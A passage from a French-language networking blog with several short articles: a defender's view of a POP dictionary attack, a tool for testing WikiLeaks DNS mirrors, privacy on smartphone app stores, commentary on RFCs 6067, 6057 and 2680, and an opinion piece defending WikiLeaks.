On voit les signes typiques d'une attaque par dictionnaire. Le méchant essaie automatiquement plein d'identifiants courants et, probablement, des mots de passe simples comme l'identifiant lui-même. Ces noms correspondent à des identifiants courants pour des personnes (jeff, dan, james) ou pour des fonctions systèmes (sys, amavisd, mailman). Certains sont particulièrement pittoresques (harrypotter ou gopher, ce dernier semblant indiquer que le pirate n'a pas mis à jour son dictionnaire depuis longtemps). Sur ce serveur particulier, beaucoup d'utilisateurs n'appliquent pas les bonnes pratiques de sécurité, croyant que leur compte personnel sur un serveur isolé n'attirera l'attention de personne, et oubliant les vers infatigables qui, vingt-quatre heures sur vingt-quatre, balayent tous les serveurs.

Au fait, pourquoi POP ? Même si le méchant trouve un mot de passe, à quoi cela lui servira-t-il ? Certes, il pourra lire le courrier de cet utilisateur mais il n'y trouvera probablement pas de révélations sensationnelles. Espère-t-il pouvoir ensuite tester SSH avec le même identifiant et le même mot de passe pour avoir un accès shell ? (Sur la plupart des sites, et pour de très bonnes raisons, les comptes POP ne donnent pas accès à un shell, soit parce qu'il n'ont pas de shell, soit par des techniques comme le AllowUsers de OpenSSH.) Ou bien connaissait-il une vulnérabilité d'un serveur POP courant (avez-vous reconnu le serveur utilisé ci-dessus ?), dont l'exploitation nécessitait un compte valide ? Je l'ignore.

Comment détecter ce genre d'attaques ? Un tail -f en permanence est certes distrayant mais peu réaliste : on ne peut pas regarder des journaux toute la journée. Il existe plusieurs outils d'analyse de ceux-ci, qui envoient des synthèses, mais la plupart nécessitent pas mal de réglages avant d'arrêter d'inonder leur propriétaire sous les alarmes. Pour le cas d'un serveur dédié de peu d'importance, où l'administrateur système ne peut pas passer plusieurs heures par jour à le surveiller, je n'ai pas encore trouvé de mécanisme d'alarme simple et efficace.

En attendant, j'ai mis cette adresse IP dans la liste noire de mon Shorewall, en attendant que j'ai le temps d'apprendre fail2ban qui pourrait faire cela tout seul (le principal ennemi de la sécurité, sur l'Internet, c'est le manque de temps).


L'article seul

Testing Wikileaks DNS mirrors

First publication of this article on 10 December 2010


Among the efforts to prevent censorship to take down WikiLeaks, several persons have set up DNS mirrors. They are names that point, not to one Web server but to a list of IP addresses which host a Web mirror. These lists can be quite long and it is better to have an automatic tool to test them.

There is a technical reason why you cannot put the IP address of any WikiLeaks Web mirror in a DNS record for wikileaks.anything.example: the HTTP protocol expects a Host: header in the query and dispatches the request to the proper virtual host, depending on this header. If the header is missing or wrong, you are sent to the "default" virtual host, which may be quite different from what you expect. So, you cannot just take a list of Web mirrors and add their IP addresses, you need to test.

The program test-wikileaks.py, written in Python, does exactly that: it takes the IP addresses from a name, and performs a HTTP connection to this address, retrieves a page and searches if it looks like a correct Wikileaks page. If not, it complains:

% test-wikileaks.py wikileaks.jmp.net  
Wrong data in http://88.80.13.160/cablegate.html, not a Wikileaks mirror?

Note well that it does not mean that wikileaks.jmp.net is wrong, just that it is not a DNS mirror, you cannot copy its addresses blindly.

If you want more details, you can use the -v option:

% test-wikileaks.py -v wikileaks.jmp.net  

Testing http://46.59.1.2/cablegate.html...
1269 cables

Testing http://88.80.13.160/cablegate.html...
Wrong data in http://88.80.13.160/cablegate.html, not a Wikileaks mirror?

Testing http://213.251.145.96/cablegate.html...
1269 cables

It shows also the current number of diplomatic cables uploaded on this mirror. This is important because some mirrors are really behind. Here is a test on a large mirror, wklk.eu.org: wklk.eu.org-test-2010-12-10.txt. Thanks to Pierre Beyssac for his contributions to this program.

Oh, by the way, my DNS mirrors are wikileaks.bortzmeyer.fr (a small subset) and all-wikileaks.bortzmeyer.fr (a larger set, which may create problems with some DNS resolvers).


L'article seul

Avec des logiciels pareils sur l'App Store, plus besoin de virus

Première rédaction de cet article le 9 décembre 2010


Dave Winer raconte sur son excellent blog, une curieuse aventure qui lui est arrivée avec son iPhone. Il a installé une nouvelle application (de partage de photos) sur son smartphone et découvert que celle-ci lisait son carnet d'adresses avant de l'envoyer au site maître (le tout, évidemment, sous couvert d'améliorer the user experience). Par delà l'immoralité de l'entreprise Path.com, cet incident donne à réfléchir sur le modèle de sécurité des smartphones.

L'auteur s'indigne en effet de ce qu'aucun avertissement ne soit apparu. On installe une application non libre censée permettre de partager des photos et elle accède au carnet d'adresses, et elle l'envoie sans demander d'autorisation, sans même qu'on soit prévenu ! Tout logiciel qui fait cela est habituellement nommé malware mais, ici, comme il est distribué sur l'App Store, il échappe à cette qualification, pourtant bien méritée.

Comment l'utilisateur d'un smartphone est-il protégé contre ce genre d'attaques ? L'essentiel de la (passionnante) discussion dans les commentaires a porté sur ce point. Sur iPhone, le système installe une application sans limiter ses privilèges, sans dire à l'utilisateur ce que cette application va faire. C'est pareil sur un Unix normal, me direz-vous. Certes, mais la plupart des logiciels (la totalité, dans mon cas) qu'on utilise sur Unix sont du logiciel libre et le fait que le code source soit accessible (même s'il n'est pas toujours lu) limite sérieusement les tentations pour les auteurs. Au contraire, avec le logiciel privateur, pas de code source et l'entreprise qui l'écrit peut donc avoir envie d'en profiter, d'en abuser.

Normalement, tout logiciel distribué sur l'App Store est validé par Apple. Ce pouvoir exorbitant a mené à bien des dérapages (croisade à l'iranienne contre la pornographie, censure des documentations sur les systèmes concurrents) mais, en théorie, il devait protéger l'utilisateur de tas de choses désagréables qu'on a sur un ordinateur Windows et qu'on ne voudrait pas trouver sur son téléphone, notamment les virus. L'expérience malheureuse de Dave Winer montre que cela ne marche pas. Il est probable que l'évaluation que fait Apple des logiciels ne se base que sur des considérations business et certainement pas sur le respect de la vie privée des futurs utilisateurs.

Existe-t-il des meilleurs mécanismes pour prévenir l'utilisateur de ce que va faire l'application qui l'installe ? Sans doute mais, comme souvent en matière de sécurité, il n'y a pas de solution idéale, ledit utilisateur étant souvent le maillon faible. Sur Android, lors de l'installation d'une application (qu'elle vienne du Market officiel ou pas), l'utilisateur est prévenu des privilèges que demandera l'application. Trouvé sur un article sur la sécurité d'Android, voici un exemple de ce qu'affiche le téléphone : wakeupcallmaker_install.png Ce mécanisme n'est pas parfait. D'abord, comme souvent dès qu'on demande à l'utilisateur, celui-ci cliquera souvent Oui sans même réfléchir, quelle que soit la longueur de la liste des privilèges demandés. Et, même s'il ne faut pas être informaticien pour comprendre qu'un logiciel qui affiche les horaires des prochains bus n'a pas besoin d'avoir accès au carnet d'adresses, en pratique, le temps manque et le cerveau ralentit dès qu'il est confronté à un ordinateur. À la décharge de l'utilisateur, il faut ajouter que le mécanisme d'approbation est binaire : soit on accepte toute la liste (et, avec certaines applications, elle est longue), soit on ne peut pas utiliser l'application du tout. Il n'y a hélas pas moyen de dire « Je veux bien que tu lises le GPS mais ne touche pas au carnet d'adresses ». (Il existe des solutions non-standard comme celle de CyanogenMod.)

Autre limitation de ce mécanisme de sécurité : il ne limite pas ce que fait l'application qui avait un accès. Par exemple, il est tout à fait normal qu'un client SIP ait accès au carnet d'adresses mais ensuite, je ne veux pas qu'il l'envoie à un tiers, ce que font pourtant certains logiciels (voir une bonne étude à ce sujet).

Au fait, s'il y a des utilisateurs de MeeGo qui lisent ceci, comment cela se passe-t-il sur ce système ? Ces problèmes de donner à des applications des privilèges, avec une certaine granularité, me rappelle mon travail passé comme ingénieur système sur VMS : contrairement au modèle Unix binaire (root / pas root, avec root qui a tous les droits), VMS avait un système de permissions très riche, où on pouvait ne donner à une application que certains droits. Une des faiblesses de ce mécanisme était la longueur de la liste des droits possibles, que peu de gens maîtrisaient. Une autre faiblesse était que certains droits, sans que cela soit clairement documenté, permettait d'en acquérir d'autres (je me souviens bien du privilège « Change Mode to Kernel » qui permettait d'écrire dans les métadonnées du processus... où la liste des droits était stockée). Android a-t-il de telles faiblesses ? Si une chose est sûre en matière de sécurité, c'est que concevoir un système invulnérable est fort difficile : des failles inattendues surgissent toujours (pour Android, voir par exemple Soundminer).

Sur la question de limiter les privilèges d'une application inconnue et peut-être malveillante, il y a aussi :

Merci à Vincent-Xavier Jumel pour ses suggestions.

Notez qu'Apple n'a nullement corrigé le problème qui reste, début 2012, aussi préoccupant qu'avant.


L'article seul

RFC 6067: BCP 47 Extension U

Date de publication du RFC : Décembre 2010
Auteur(s) du RFC : M. Davis (Google), A. Phillips (Lab126), Y. Umaoka (IBM)
Pour information
Première rédaction de cet article le 8 décembre 2010


Le RFC 5646 (alias « BCP 47 » pour Best Common Practice 47), qui normalise les étiquettes de langue, prévoyait un mécanisme d'extension par le biais de sous-étiquettes d'un seul caractère. Ce RFC 6067 spécifie la première de ces extensions à rentrer en service, pour indiquer l'information de localisation du consortium Unicode.

Les étiquettes de langue sont utilisées pour marquer du contenu sur le Web mais également en plein d'autres endroits, afin d'indiquer la langue utilisée. Leur norme, le RFC 5646 décrit un mini-langage permettant d'indiquer la langue mais aussi l'écriture, le pays, voire la variante dialectale. Ainsi, ru-petr1708 désignera le russe tel qu'il était écrit dans l'ortographe de Pierre Ier, avant la réforme de 1917. Ce langage de construction des étiquettes est très riche mais ne permet de faire une étiquette qu'à partir de sous-étiquettes déjà enregistrées dans le registre des langues (ou bien à partir de sous-étiquettes purement privées). Il n'y a notamment pas de moyen pour utiliser les catalogues existants.

Or, un de ces catalogues est particulièrement utilisé, le catalogue des locales décrit dans le TR35 et géré par le consortium Unicode. C'est pour pouvoir l'utiliser que l'extension « u » est créée par notre RFC. (Le singleton « u » voulant dire Unicode.) Il permettra d'étiqueter avec d'avantage de précision un document. Ainsi, en-u-cu-usd désignera un texte en anglais dont, grâce à l'extension « u », on pourra savoir qu'il utilise le dollar états-unien (usd) comme unité monétaire.

Les données utilisables avec cette extension proviennent du CLDR, le grand dépôt des locales géré par le consortium Unicode et qui contient des choses aussi variées que les jours fériés par pays ou bien les différents ordres de tri utilisés.

Le RFC 5646/BCP 47 (section 3.7) impose un certain nombre de règles pour la création d'une extension, notamment l'indication précise de l'autorité en charge du catalogue accessible via l'extension, et de ses politiques. La section 2 de notre RFC 6067 satisfait à cette règle en décrivant comment est géré CLDR.

Maintenant, quelle information peut-on indiquer avec l'extension « u » ? La section 2.1 les liste en renvoyant à la section 3 du TR35. On peut indiquer des attributs, des clés et des types. Aujourd'hui, aucun attribut n'est défini. Les clés, elles, ont exactement deux caractères et sont définis par le TR35. ca désigne un calendrier, co un ordre de tri, cu la monnaie, tz le fuseau horaire, etc. Les types sont les valeurs associées aux clés. Ainsi, ca-coptic désigne le calendrier copte. Une étiquette complète comme de-DE-u-co-phonebk sera « l'allemand tel qu'écrit en Allemagne, utilisant l'ordre de tri phonebk, i.e. celui normalisé pour l'annuaire téléphonique (qui se nomme phonebook dans CLDR, qui n'a pas les mêmes contraintes de taille) ». en-u-tz-usden sera l'anglais avec le fuseau horaire Mountain Time. Et es-u-cu-mxn sera l'espagnol avec comme unité monétaire le peso mexicain. Bien sûr, dans la plupart des cas, il n'y aura pas besoin d'étiqueter les textes avec ce niveau de précision. (Merci à Doug Ewell pour la plupart des exemples.) Mais certaines utilisations pourront en avoir besoin.

CLDR distribue des fichiers contenant les informations nécessaires pour tous les types possibles en http://unicode.org/Public/cldr/. Si vous voulez l'ordre de tri allemand, il est en common/collation/de.xml.

La section 2.2 du RFC contient le formulaire d'enregistrement obligatoire (RFC 5646, section 3.7) pour une extension. « u » est donc désormais le premier élément du registre des extensions..

Attention à un petit piège : les extensions comme « u » n'ont rien à voir avec les Extended Language Subtags (alias extlangs), qui sont un mécanisme (pas le seul) pour représenter des idiomes intermédiaires entre une « vraie » langue et un dialecte.


Téléchargez le RFC 6067


L'article seul

RFC 6057: Comcast's Protocol-Agnostic Congestion Management System

Date de publication du RFC : Décembre 2010
Auteur(s) du RFC : C. Bastian (Comcast), T. Klieber (Comcast), J. Livingood (Comcast), J. Mills (Comcast), R. Woundy (Comcast)
Pour information
Première rédaction de cet article le 8 décembre 2010


Pour tout FAI, la gestion de la congestion est un problème récurrent. Même avec de très gros tuyaux, les utilisateurs, avides de profiter de leur abonnement à l'Internet (et poussés par des évolutions comme le remplacement de cours sous forme texte par des conneries multimédia genre webinar), envoient de plus en plus de paquets. Beaucoup de FAI, lors de débats sur la neutralité du réseau défendent leur droit à « gérer la congestion » par tous les moyens, même les plus inavouables. C'est ainsi que l'un des plus gros FAI états-uniens, Comcast, s'est rendu célèbre en usurpant l'adresse IP de ses propres abonnés pour couper leurs sessions BitTorrent fin 2007. Ces méthodes de cow-boys ont suscité beaucoup de protestation et, dans ce RFC, Comcast annonce un changement de cap et l'adoption d'un nouveau système de gestion de la congestion, neutre (protocol agnostic car « neutre » est un gros mot pour les FAI) et fondé sur des mesures objectives (le nombre d'octets envoyés ou reçus). Ce système est mis en œuvre dans le réseau de Comcast depuis la fin de 2008.

Comcast, qui connecte des dizaines de millions de foyers états-uniens, notamment par le câble (des détails sur leur réseau figurent en section 7), s'est donc fait allumer par la FCC au sujet de ses curieuses pratiques de gestion du réseau, qui consistaient à générer, depuis un boîtier Sandvine, des faux paquets TCP de type RST (Reset) prétendant venir des pairs, de manière à couper les sessions pair-à-pair (voir le rapport très détaillé de l'EFF ou son résumé à Ars Technica). Ce mécanisme visait, de manière complètement arbitraire, un protocole réseau particulier, BitTorrent.

La section 1 du RFC resitue le problème de la congestion. TCP est un protocole gourmand : tant qu'il n'y a pas de perte (cf. RFC 7680) de paquets, il va augmenter le débit jusqu'à ce que le réseau ne puisse plus suivre et le signale en laissant tomber certains paquets (TCP réduira alors le débit). La congestion est donc un état normal du réseau (sinon, cela veut dire qu'il est sous-utilisé).

Le mécanisme déployé étant spécifique au réseau de Comcast, il est utile, pour suivre le RFC, de bien apprendre la section 3 sur la terminologie, notamment si on n'est pas habitué aux réseaux par câble TV coaxial. Ainsi, un modem câble est le CPE, l'engin placé chez le client, et un CMTS (Cable Modem Termination System, cf. section 2.6 du RFC 3083) est l'équipement situé dans les locaux du FAI où sont connectés les clients (à peu près l'équivalent d'un DSLAM pour les FAI ADSL). Le tout fonctionne grâce à la norme DOCSIS dont les documents sont disponibles en http://www.cablelabs.com/. D'autre part, la rubrique terminologique en section 3 référence également les RFC sur la qualité de service, les RFC 1633 et RFC 2475.

Le nouveau système de contrôle de la congestion a évolué, comme le résume la section 4, en partie en suivant les débats à l'IETF comme l'atelier de 2008, qui a été documenté dans le RFC 5594. La contribution de Comcast à cet atelier consistait en un document « Service Provider Perspective ». Le système décrit par Comcast à l'occasion de cet atelier (et qui avait été également présenté dans les réponses de Comcast à la FCC, qui était mécontente du système de piratage des sessions BitTorrent) a été progressivement déployé à partir de la fin de 2008.

En quoi consiste ce système de contrôle de la congestion ? La section 5 résume ses principes. Plusieurs éléments du réseau étant partagés, le but du système est de partager « équitablement » ces éléments (le terme « équitablement » est entre guillemets dans le RFC car il n'est pas évident d'en donner une définition rigoureuse). D'autre part, le système actuel est agnostique (le RFC aurait pu dire « neutre » mais la plupart des FAI ne veulent pas entendre parler du concept de neutralité), c'est-à-dire qu'il ne cible pas un protocole particulier, il tient juste compte d'un facteur objectif : le débit de la ligne de l'abonné. L'algorithme (simplifié) est donc le suivant : le logiciel surveille en permanence l'usage des ressources réseau. Si l'une de celles-ci devient congestionnée, le logiciel regarde quel client sur cette ressource consommait plus que les autres et lui affecte une priorité plus basse. Cela n'aura pas de conséquence pratique si les lignes ont de la capacité suffisante mais, si la congestion empêche de faire passer tous les paquets, ceux de ce(s) client(s) seront retardés, voire jetés (cela peut sembler violent mais c'est le mécanisme normal d'IP pour gérer la congestion ; les protocoles de transport savent réagir à ce problème, par exemple TCP réduit automatiquement son débit). Si le client diminue son usage, sa priorité redevient normale.

Ne serait-ce pas préférable, en cas de congestion, d'augmenter la capacité du réseau ? Certes, dit la section 6, mais le problème est plus compliqué que cela. D'abord, l'ajout de capacité nécessite souvent des travaux matériels, qui prennent du temps. Ensuite, quelle que soit la capacité du réseau, il y aura des pics de trafic imprévus et aucun réseau ne peut être assez dimensionné pour éviter complètement la congestion. (De même qu'aucun autoroute ne peut être assez large pour un samedi 1er août.) Pouvoir gérer la congestion est donc une nécessité.

Quelles sont les valeurs numériques exactes utilisées pour des opérations comme « abaisser la priorité » ? L'abaisser de combien ? Et que veut dire exactement « proche de la congestion » ? 90 % 95 % ? La section 7 du RFC traite de l'implémentation concrète des principes de la section 5. Elle commence par un excellent résumé de l'architecture du réseau de Comcast, où 3 200 CMTS servent environ 15 millions d'utilisateurs. Le réseau, comme illustré dans la figure 1 du RFC, est en fait mixte, les CMTS étant connectés en fibre optique, seul le dernier mile étant en câble de cuivre coaxial. La section 7.1 définit ensuite rigoureusement la métrique utilisée pour déclarer qu'un CMTS approche de la congestion. Ensuite, la valeur numérique a été déterminée par des essais en laboratoire : aujourd'hui 70 % d'utilisation en montée et 80 % en descente pendant 5 minutes de suite. La section 7.2 traite de la seconde partie de l'algorithme : définir ce que signifie, pour un utilisateur, « consommer plus que sa part ». (Les chiffres exacts dépendent de l'abonnement qu'il a souscrit : les riches ont plus que les pauvres.)

Ce RFC n'hésite pas devant les chiffres précis. Ainsi, un exemple donné est celui d'un abonné à un service à 22 Mb/s descendants. Malgré plusieurs usages simultanés (un flux vidéo HD depuis Hulu à 2,5 Mb/s, un appel Skype à 131 kb/s, et un flux musical à 128 kb/s), il reste en dessous de la limite. L'idée est donc que beaucoup d'utilisations, même multimédia, n'amèneront pas à la limite. Lors de tests avec de vrais utilisateurs, par exemple à Colorado Springs en 2008, 22 utilisateurs sur 6 016 ont été « déprioritisés ». Lors de tels tests, quel a été le ressenti des utilisateurs ? La section 7.3 note simplement que personne ne s'est plaint.

La section 9 argumente même que ce mécanisme, prévu pour gérer la minorité la plus gourmande des utilisateurs, est aussi utile en cas de congestion plus globale. Par exemple, si une brusque épidémie de grippe se développe, forçant l'arrêt des transports publics et amenant de nombreuses entreprises à fermer, le télétravail depuis la maison va brusquement augmenter. Le réseau tiendra-t-il ? En tout cas, le même mécanisme de gestion de la congestion peut être utile.

Rien n'étant parfait en ce bas monde, quelles sont les limites de ce système ? La section 10 en cite quelques unes. Entre autres, le mécanisme de Comcast ne signale pas à l'utilisateur qu'il a été déprioritisé. Cela empêche ses applications de s'adapter (par exemple en basculant vers une résolution vidéo plus faible) et l'utilisateur de changer son comportement.

D'autres mécanismes de contrôle de la congestion pourraient apparaître plus tard, par exemple issus des travaux de l'IETF, que la section 11 résume. Des groupes de travail comme Conex (signalisation explicite de la congestion), Alto (recherche du meilleur pair dans un réseau pair-à-pair) ou Ledbat (transfert de grosses quantités de données en arrière-plan, en se glissant dans les moments où le réseau est libre) produiront peut-être des solutions meilleures (voir le RFC 6817 pour Ledbat).

Enfin, la section 12, sur la sécurité, est une lecture intéressante : à chaque fois qu'on construit un tel appareillage, il faut se demander s'il ne risque pas d'être mal utilisé. Ici, la principale crainte est le risque d'injection de fausses données, pour bloquer les utilisateurs (une attaque par déni de service). Les équipements de statistiques doivent donc être protégés contre un accès non autorisé. Moins grand est le risque pour la vie privée : si le trafic par modem (donc par foyer) est stocké, cela n'inclut pas les adresses IP de destination, les ports, etc.

Arrivé au terme de ce très intéressant document, très détaillé (il faut noter qu'aucun FAI dans le monde n'a fait un tel effort de documentation, comparez par exemple avec le silence complet que maintient Free face aux accusations de shaping), quel bilan tirer ? D'abord, que les protestations des clients, de l'EFF et les menaces de la FCC ont eu un effet positif. Ensuite, je pense personnellement que le système est bon dans son principe. Face à la congestion, un problème auquel peut être confronté tout réseau, quelles que soient les dimensions de ses tuyaux, il est nécessaire de prendre des mesures. Celles-ci doivent être publiquement exposées (et, on l'a dit, Comcast est le seul à le faire) et être non-discriminatoires, fondées sur des problèmes objectifs (le débit dans les tuyaux) et pas sur les intérêts financiers du FAI (comme les opérateurs 3G qui interdisent la VoIP mais qui autorisent la vidéo ; cette dernière consomme pourtant bien plus de ressources mais, elle, elle n'empiète pas sur le business traditionnel de l'opérateur...). Donc, le principe du système de gestion de la congestion de Comcast est bon. Maitenant, tout est dans l'exécution en pratique. Le système effectivement déployé est-il celui décrit ? Les évolutions futures respecteront-elles les principes posés ? Poser la question n'est pas de la paranoïa. Comcast a déjà menti, par exemple en niant la création de faux TCP resets même si la section 8 du RFC reconnait aujourd'hui leur usage (cf. RFC 3360). Le lecteur des aventures de Thursday Next pensera certainement au tome 4, « Something rotten », où la tentaculaire société Goliath tente de faire croire qu'elle est devenue une église n'agissant plus que pour le bien commun...


Téléchargez le RFC 6057


L'article seul

À propos de Wikileaks

Première rédaction de cet article le 4 décembre 2010


Je suis désolé pour mes lecteurs qui apprécient les articles techniques, j'avais en effet plein de sujets techniques rigolos et intéressants à traiter mais, parfois, l'actualité commande de remettre les sujets geeks à plus tard et de s'intéresser à la vie de la société. Bien sûr, tout le monde a déjà parlé de WikiLeaks, mais je crois qu'un nouveau seuil a été franchi par les puissants de ce monde dans une guerre, non pas contre l'Internet mais contre la liberté d'expression.

Je n'ai en effet pas l'intention d'analyser WikiLeaks, de dire si c'est utile ou pas. Que Wikileaks joue un rôle positif ou pas, leur liberté d'expression doit être défendue de la même façon. Même s'ils font des choses illégales ? Mais je note qu'aucun gouvernement, même aux États-Unis, n'a osé traîner Wikileaks devant un tribunal pour ses publications. En France, le ministre des expulsions a hypocritement demandé au CGIET de lui trouver des moyens d'interdire Wikileaks, reconnaissant ainsi qu'il ne pouvait pas trouver de raison juridique valable de le faire. Le voici réduit à chercher n'importe quelle astuce lui permettant d'arriver à ses fins.

Mais pourquoi est-ce que Wikileaks gêne les pouvoirs en place ? Ce n'est pas que les révélations du « Cablegate » aient été si fracassantes que cela, jusqu'à présent. Il est bien sûr utile d'apprendre que la loi Hadopi a été rédigée sous stricte surveillance états-unienne. Mais la plupart des révélations n'ont pas une grande portée (l'ambassadeur des États-Unis pense que Sarkozy est un nerveux : grande nouvelle).

Non, le problème des gens de pouvoir est qu'ils vivaient dans une bulle : isolés de tout et surtout des citoyens, ils s'étaient habitués à ne pas avoir à rendre de comptes. Le coup de projecteur les rabaisse soudain au niveau de n'importe quel citoyen espionné grâce au Patriot Act ou grâce aux écoutes téléphoniques.

Ce choc soudain, d'être écouté comme un vulgaire journaliste de Mediapart ou comme un simple citoyen vidéo-surveillé, a déclenché une campagne anti-WikiLeaks, bien plus forte que celle provoquée par les précédentes révélations de Julian Assange, qui concernaient pourtant des affaires militaires, a priori plus sensibles... Cette haine de Wikileaks va très loin et des oubliées du cirque médiatique comme Catherine Nay (qui, quand elle était journaliste, n'a effectivement jamais révélé quoi que ce soit qui puisse nuire aux puissants...) en profitent pour essayer de se faire un peu de publicité en comparant « la menace Internet » à la Stasi en pire (technique classique de troll que d'exagérer pour être sûr de faire parler de soi). De même, une députée UMP, Muriel Marland-Militello, a saisi l'occasion en demandant l'interdiction de WikiLeaks, et en reprenant le concept sarkozyen d'« Internet civilisé ». Je dois dire que, la première fois que j'avais entendu ce terme digne de « Tintin au Congo », je croyais que c'était une blague. Mais non. Le parti qui voulait faire rentrer dans les têtes des enfants le rôle positif de la colonisation voudrait désormais civiliser les indigènes de l'Internet. Et comment Marland-Minitello justifie-t-elle l'interdiction de WikiLeaks ? « La liberté de chacun [...] a pour limite infrangible la sûreté des Etats ». Donnez cette phrase sans son contexte à plusieurs personnes et demandez l'auteur. Ils répondront probablement « Le Parti Communiste chinois ou bien « Le dictateur tunisien Ben Ali » mais ne penseront pas au parti actuellement majoritaire au Parlement français. Certains se sont dit « Quelle importance, ce n'est qu'une petite députée inconnue » mais elle affiche en gros le logo du parti du Président sous son texte.

Cette réaction corporatiste des politiciens contre WikiLeaks (on est pour qu'on puisse espionner tout le monde avec Echelon mais pas pour que WikiLeaks nous espionne, nous) est également partagée par les journalistes comme l'a bien analysé Éric Scherer.

(Au passage, pour une excellent analyse en profondeur de l'effet WikiLeaks, je vous recommande « Suites de la fuite », de Jean-Noël Lafargue et pour un excellent panorama juridique de la question, l'interview de Cédric Manara.)

Alors, que peut faire le citoyen face à cette campagne contre la liberté d'expression ? Je ne suis pas sûr qu'on puisse compter sur l'opposition officielle, qui semble complètement silencieuse à ce sujet. Il faut donc que les citoyens se manifestent eux-mêmes.

Bien sûr, des actions pratiques sur le terrain des réseaux informatiques sont possibles et souhaitables. C'est ainsi que, en réaction au retrait de l'hébergeur DNS de wikileaks.org (qui a laissé ce domaine hors d'usage), des dizaines de gérants de serveurs DNS ont créé des wikileaks.quelquechose comme par exemple wikileaks.bortzmeyer.fr qui contiennent les adresses IP des serveurs de Wikileaks qui fonctionnent (petit piège du protocole HTTP : il faut que le serveur en question accepte un champ Host: incorrect et serve quand même Wikileaks). Ces noms, véritables « miroirs DNS » sont ensuite publiés un peu partout (notamment sur Twitter). Comme le note l'inventeur de XML-RPC et RSS, Dave Winer, « in a weird sort we have implemented a human DNS ». Ces noms, et ceux de sites qui hébergent une copie complète de WikiLeaks sont ensuite rassemblés dans des pages comme http://etherpad.mozilla.org:9000/wikileaks, http://www.allyourleakarebelongtous.com/ ou http://bluetouff.com/2010/12/03/acceder-a-wikileaks/ qui, au fur et à mesure que la censure les fait fermer, sont recopiées ailleurs. Encore mieux, les services qui testent automatiquement tous ces miroirs, comme http://www.whereiswikileaks.org/, de façon à éviter de perdre du temps sur un miroir devenu caduc. Pour ceux qui veulent créer un tel « miroir », Spyou explique comment. Pour les miroirs DNS, ceux qui en font doivent prendre soin de mettre de courts TTL (genre dix minutes) car les adresses IP des serveurs du contenu vont souvent changer, et sans préavis (merci à Pierre Beyssac pour avoir attiré mon attention à ce sujet). Il faut aussi les tests par exemple avec l'outil que je propose. Un autre projet est en cours de déploiement, le mécanisme automatique de recopie sur un grand nombre de miroirs volontaires. J'ai deux machines candidates à ce service, mais ça ne fonctionne pas pour moi, WikiLeaks ne les a jamais contactées. Attention toutefois aux problèmes de sécurité si vous choisissez cette voie, cela peut valoir la peine de se renseigner sur la technique d'abord. Plus geek, on trouve les données de WikiLeaks sous des formats très exotiques comme RDF ou sous forme d'un moteur SPARQL.

Un tel système de contournement de la censure est complexe et nécessite des lecteurs très motivés, pour suivre les derniers changements. Mais elle a l'avantage, comme le notait Winer, de faire participer tout le monde et de montrer à la face des censeurs l'ampleur de la contestation. Ce n'est donc pas une solution purement technique et c'est justement son avantage.

Techniquement, une meilleure solution serait bien sûr d'avoir un autre système de résolution de noms (« DNS pair à pair ») et d'hébergement. J'ai récemment écrit sur la vanité qu'il y à croire qu'on trouvera la solution technique idéale, surtout face à une censure qui frappera simplement ailleurs. Seul avantage de cette discussion, cela a permis, sur la liste NANOG, de refaire parler d'UUCP, qui avait en effet un système de nommage pair à pair.

Une contradiction a été fort peu relevée dans les articles sur l'extension du domaine de la censure de l'Internet. C'est que les gouvernements démocratiques (les autres aussi, mais, dans ce cas, ce n'est pas une information, son entropie est nulle) sont tous occupés à mettre au point des mécanismes pour réaliser des DoS légales alors que, dans le même temps, des agences gouvernementales travaillent à essayer d'empêcher les attaques... Verra t-on bientôt la main gauche de l'État réclamer le déploiement de technologies visant à améliorer la sécurité, mais rendant la censure visible (comme DNSSEC) pendant que sa main droite fera des lois comme LOPPSI, qui imposent justement ce que DNSSEC ou la RPKI essaient d'empêcher ? Ainsi, au niveau européen, l'ENISA a un programme de développement de la résistance de l'Internet aux attaques (la censure en étant une), programme qui a fait récemment l'objet d'un atelier à Bruxelles. De même, l'ANSSI française a une activité sur ce même concept de résistance (pas besoin de WikiLeaks pour connaitre ce programme : il est discret mais n'a rien de secret). La même ANSSI est citée dans la lettre de Besson, qui lui donne l'ordre de contribuer à trouver un moyen de censurer WikiLeaks. Alors, résistance aux pannes ou contrôle accru ? Il va falloir choisir... Les deux sont complètement incompatibles : ce qui rend la censure si difficile à faire respecter, c'est justement ce qui rend l'Internet si robuste, la variété des connexions et des techniques, et surtout l'intelligence et l'initiative des acteurs.


L'article seul

RFC 2680: A One-way Packet Loss Metric for IPPM

Date de publication du RFC : Septembre 1999
Auteur(s) du RFC : Guy Almes (Advanced Network & Services), S. Kalidindi (Advanced Network & Services), M. Zekauskas (Advanced Network & Services)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 3 décembre 2010


Une des tristes réalités de l'Internet d'aujourd'hui est que les paquets se perdent. Ils quittent la machine émettrice et ne sont jamais reçus par la machine réceptrice. Il y a de nombreuses causes à cela (abandon du paquet par un routeur surchargé, par exemple), mais ce RFC 2680, comme les autres documents du groupe de travail IPPM se focalise sur la mesure du phénomène, pas sur ses causes. Il définissait donc une métrique « perte de paquet » permettant de comparer des mesures entre elles en sachant qu'on parle bien de la même chose. (Il a depuis été remplacé par le RFC 7680.)

Comme les autres RFC décrivant des métriques, des grandeurs rigoureusement définies et qu'on va mesurer, il s'appuie sur les définitions et le vocabulaire du RFC 2330. Par ailleurs, il suit de très près le plan du RFC 2679, qui spécifiait la mesure du délai d'acheminement d'un paquet. Cette fois, ce qui est défini est une mesure binaire (un paquet est perdu ou bien ne l'est pas), Type-P-One-way-Loss, puis une statistique pour le cas où il y a plusieurs paquets, le taux de perte moyen. (Petit rappel : Type-P signifie que le rapport de mesure doit indiquer le type du paquet - protocole de transport, port, etc - car le résultat peut en dépendre. Cf. section 2.8.1.)

Pourquoi cette métrique est-elle utile ? La section 1.1 rappelle l'intérêt de connaître les pertes :

  • Certaines applications, notamment interactives, se comportent mal (ou pas du tout) si le taux de pertes dépasse un certain seuil.
  • Les applications plus ou moins temps-réel aiment encore moins les pertes de paquets que les autres applications.
  • Les protocoles de transport comme TCP compensent les pertes en réémettant les paquets mais un taux de pertes trop élevé les empêchera d'atteindre leur débit maximum.

Mais pourquoi mesurer les pertes sur un chemin aller-simple (one-way) plutôt que aller-retour (two-way) ? La célébrissime commande ping affiche en effet des pertes après un aller-retour (ici 57 %) :

% ping -c 19 198.51.100.80 
PING 198.51.100.80 (198.51.100.80) 1450(1478) bytes of data.
1458 bytes from 198.51.100.80: icmp_seq=1 ttl=46 time=168 ms
